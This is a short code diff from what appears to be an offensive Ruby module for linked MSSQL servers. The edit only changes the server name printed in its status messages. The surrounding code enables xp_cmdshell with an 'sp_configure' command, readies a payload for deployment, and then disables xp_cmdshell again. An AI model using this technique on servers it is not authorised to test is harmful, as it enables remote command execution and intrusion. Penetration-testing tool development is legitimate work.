@@ -396,7 +396,7 @@ def enable_xp_cmdshell(path,name,shelled)
396
396
end
397
397
398
398
# Enabling xp_cmdshell
399
- print_status ( "\t - xp_cmdshell is not enabled on " + path . last + "... Trying to enable" )
399
+ print_status ( "\t - xp_cmdshell is not enabled on " + name + "... Trying to enable" )
400
400
execute = "sp_configure 'xp_cmdshell',1;reconfigure"
401
401
sql = query_builder_rpc ( path , "" , 0 , execute )
402
402
result = mssql_query ( sql , false ) if mssql_login_datastore
@@ -409,7 +409,7 @@ def enable_xp_cmdshell(path,name,shelled)
409
409
xpcmdNow = result [ :rows ] . pop . pop
410
410
411
411
if xpcmdNow == 1 or xpcmdOrig == 1
412
- print_status ( "\t - Enabled xp_cmdshell on " + path . last ) if xpcmdOrig == 0
412
+ print_status ( "\t - Enabled xp_cmdshell on " + name ) if xpcmdOrig == 0
413
413
if datastore [ 'DEPLOY' ]
414
414
print_status ( "Ready to deploy a payload #{ name } " )
415
415
if datastore [ 'DEPLOYLIST' ] ==""
@@ -436,12 +436,12 @@ def enable_xp_cmdshell(path,name,shelled)
436
436
end
437
437
end
438
438
else
439
- print_error ( "\t - Unable to enable xp_cmdshell on " + path . last )
439
+ print_error ( "\t - Unable to enable xp_cmdshell on " + name )
440
440
end
441
441
442
442
# Revert soa and xp_cmdshell to original state
443
443
if xpcmdOrig == 0 and xpcmdNow == 1
444
- print_status ( "\t - Disabling xp_cmdshell on " + path . last )
444
+ print_status ( "\t - Disabling xp_cmdshell on " + name )
445
445
execute = "sp_configure 'xp_cmdshell',0;reconfigure"
446
446
sql = query_builder_rpc ( path , "" , 0 , execute )
447
447
result = mssql_query ( sql , false ) if mssql_login_datastore
0 commit comments